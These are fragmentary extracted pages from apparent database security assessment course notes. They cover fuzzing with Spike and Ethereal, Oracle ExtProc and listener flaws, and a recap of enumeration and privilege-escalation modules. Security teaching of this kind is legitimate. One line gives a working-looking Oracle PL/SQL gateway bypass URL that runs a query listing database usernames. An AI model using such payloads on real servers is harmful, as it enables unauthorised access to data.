A full-featured command line debugger for UNIX.
Spike
http://www.immunitysec.com/resources-freesoftware.shtml
Spike is a generic network protocol Fuzzer that makes use of harnesses to send custom
craft spk files over a specific network transport. The spk files describe the data the static
and dynamic data in a particular packet. Each data type that Spike is capable of Fuzzing
has a set of known interesting values - for numeric fields these typically take the form of
boundary values and for strings, take the form of overly long strings, encoded strings and
strings containing format specifiers. Spike is particularly useful for Fuzzing unknown
protocols since data captured from a sniffer can be inserted into a script then dynamic
Notes
166
areas of the packet can be mapped and fuzzed. Spike comes with some basic test scripts
for common protocols.
This covers the monitoring required but no the attack tools. Most of the attack tools will
consist of the researcher himself, a tool to capture and send network traffic, and a Fuzzer.
Fuzzers have been covered in the section above, and a freeware one (Spike) is
mentioned, however the researcher will likely want to develop a custom Fuzzer. For the
Fuzzer to work, they will need some network traffic to fuzz. A good way of obtaining the
network traffic is through Ethereal. Ethereal allows decoding and exporting of traffic as C
arrays; these can be replayed easily in a C Fuzzer.
An example set of screenshots should illustrate Ehereals worth as a research tool. The
first screenshot allows the researcher to decode and view the initial database connection
parameters, the second screenshot shows the same conversation as C arrays. Typically,
an attacker would only be interested in the initial (pre-authentication) packets sent by the
client to the server.
Notes
167
Notes
168
Ehereals C Arrays
Notes
169
First, it was observed that an attacker could masquerade as the Oracle process
and request the Listener to load an arbitrary library. The listener passes this to the
ExtProc process and the attacker can run a function within the library, e.g.
system() in msvcrt.dll.
Part of the solution to this vulnerability was to deny remote requests to load
libraries, and log the attempt. The logging process was vulnerable to a stack
overflow as a long library name. Again, no username and password is required.
Notes
170
The solution to the overflow was to introduce a length check on the library name.
However, the length check occurs in the wrong place, and a variable such as
$PATH can be specified some time after the length check, the value of $PATH
is used, instead of the literal 5-character string. This causes an overflow. Again,
no username and password is required.
Notes
171
Notes
172
vulnerability, however they need to be linked to databases. With some exceptions, the
common locations for these flaws are the Edge (or Perimeter) Functions. If the database is
considered a self-contained, homogenous system, then it is likely that the developers
coding the self-contained elements would have considered the possible states and scope
of the variables and made fewer assumptions than the developers who deal with variables
and data entering and leaving the system. This is because the developer cant see the
variable in all its states, and might have to implement more relaxed sanity checks to
ensure the functionality works. The developer may also assume that certain variables
have already been checked at the other end, particularly if the other system is developed
by the same company. A possible example of this is Oracles ExtProc, which runs as a
separate process from Oracle.
Notes
173
http://server/pls/windad/S%FFS.OWA_UTIL.CELLSPRINT?P_THEQUERY=selec
t+username+from+all_users
(use of SYS.OWA_UTIL.CELLSPRINT is normally restricted)
Furthermore, it was discovered that both %FF and %9F are converted to a Y if the UK
charset is used. None of the other characters are susceptible to this, and no reason for
this is known. More information can be found here:
http://www.ngssoftware.com/advisories/oracle23122004G.txt
Notes
174
the sections, allowing DB2 to be DOSd trivially, and potentially allowing interesting results
such as SQL injection!
Notes
175
Module Summary
In most client-server models, finding a new vulnerability is often simply a matter of reverse
engineering the client application; many of the controls are often built into the client in the
form of greyed-out boxes and otherwise protected modules (e.g. disabled buttons).
In finding new vulnerabilities in a database product, the reader should now have a strong
indication of how to research these. The following notes highlight the main points:
Many vulnerabilities recur in some form, particularly if the underlying code is old,
or deeply integrated into the system.
Common causes of vulnerability are well known; these should be tested for in
research.
Some more unusual vulnerabilities are also identified in the module to illustrate the
breadth of attacks available.
Notes
176
Module Abstract
The final course module is designed to provide a fitting end by summarising what we have
learnt and provide the opportunity to take part in further practical exercises. It is hoped
that the course has been enjoyable and fulfilling for each student and that the foundations
for good database assessment practice has been conveyed.
Good database assessment breeds good overall database security and its this goal that
will strengthen the notorious classic weak points within your network infrastructure.
Module Overview
This course module consists of the following topics:
Notes
177
Integration with other elements on the network, supporting client access through
programming APIs.
Notes
178
Notes
179
Tools that have been created to enumerate information from weak and default
database installations.
Client drivers and utilities are essential for querying vendor database installations.
Notes
180
This module will demonstrate the tools and techniques used to discover databases within
a network environment and enumerate sensitive information to further progress an attack.
In this module we see that a great deal of information can be gathered from the majority
of databases in use and under assessment within modern networking environments
without the use of database credentials. The following has been covered by Module 5:
Unauthenticated Database Enumeration:
Using port scanners and signature checkers such as Nmap and Amap to establish
running database services within a network. Establishing database services that
are listening on arbitrary non-default ports.
Issuing requests for information directly to the Oracle TNS Listener and returning
the remote Operating System type, database version, database instances / SID
and security settings.
The direct attack and exploitation of the Oracle TNS Listener using known
vulnerabilities and the possibility for host compromise using log file poisoning.
Enumerating weak and default database credentials from IBM DB2, MySQL,
Microsoft SQL Server, Oracle and Sybase ASE.
Notes
181
In this module we see the type of information a database assessment should check when
database credentials are either available or have been enumerated. The following
elements have been discussed:
Collating Database Resources Listing all database objects that have security
relevance is an invaluable exercise, determining tables, views Stored Procs etc.
Listing Database User Access Determining the level of access and permission
each database user has over the objects defined.
Finding Dangerous Default Content There are many resources within default
database installations that can be considered dangerous content or potentially
harmful should a malicious attacker gain access to it. Determining this content
and assessing its suitability for inclusion or omission is a vital part of the database
assessment.
Notes
182
In general, configuration and logic flaws within business logic are far more simple and
reliable escalation methods than exploiting a database vulnerability.
Code injection within database resources that can lead to privilege escalation.
Reading from and writing to arbitrary files on the Operating System from within a
database.
Methods for breaking out of the database and attacking the server host and
network. This has included methods for building custom attack tools within Java,
T-SQL and JSQL.
Older, classic vulnerabilities associated with temporary stored procedures and the
SQL Server Agent have been discussed to represent areas that are still
overlooked within products.
Serious buffer overrun conditions have been discussed showing the critical nature
of remote unauthenticated command execution within databases and Operating
Systems.
Notes
183
Many vulnerabilities recur in some form, particularly if the underlying code is old,
or deeply integrated into the system.
Common causes of vulnerability are well known; these should be tested for in
research.
Some more unusual vulnerabilities are also identified in the module to illustrate the
breadth of attacks available.
Notes
184
Notes
185
Notes
186
Notes
187
Notes
188
All resources and guidance required will be provided by your course instructors and
individual help is available. The main objective is to bring together all of the skills that
have been taught during this course to attempt to solidify a core database assessment
methodology and above all, HAVE FUN!!
Notes
189